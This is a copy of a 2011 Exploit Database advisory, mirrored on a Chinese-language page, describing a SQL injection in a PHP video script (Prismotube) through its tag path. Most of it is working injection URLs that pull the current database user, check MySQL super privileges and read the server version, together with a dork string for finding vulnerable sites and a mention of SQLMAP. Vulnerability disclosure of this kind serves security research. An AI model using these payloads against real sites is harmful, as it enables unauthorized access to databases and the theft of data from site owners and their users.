PHP video script – SQL Injection

• Exploit Database
• 15 阅读

• 作者： longrifle0x
  日期： 2011-11-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18156/

• ######################################################
  # Exploit Title: php video script SQL Injection Vulnerability
  # Date: 2011-25-11
  # Author: longrifle0x
  # Home page: www.security-research.ge
  # software: PHP video script
  # Download:http://www.alurian.com/php-video-script/
  # Tools: SQLMAP
  # Drok: Copyright � PHP Video Script powered by Prismotube All Rights Reserved
  ######################################################
  
  *DESCRIPTION
  Discovered a vulnerability in video_tags,
  
  vulnerability is SQL injection.
  
  *Exploitation*
  
  link: http://localhost:80/tag <http://localhost/tag>
  
  vulnerability link: http://localhost:80/tag <http://localhost/tag>'
  
  http://localhost:80/tag'/index.php?id=1
  <http://localhost/tag'/index.php?id=1> [GET][id=-1][CURRENT_USER()
  
  http://localhost:80/tag'/index.php?id=1[GET][id=-1][SELECT(CASE
  <http://localhost/tag'/index.php?id=1[GET][id=-1][SELECT(CASE> WHEN
  ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y')
  THEN 1 ELSE 0 END)
  
  http://localhost:80/tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)
  <http://localhost/tag'/index.php?id=1[GET][id=-1][MID((VERSION()),1,6)>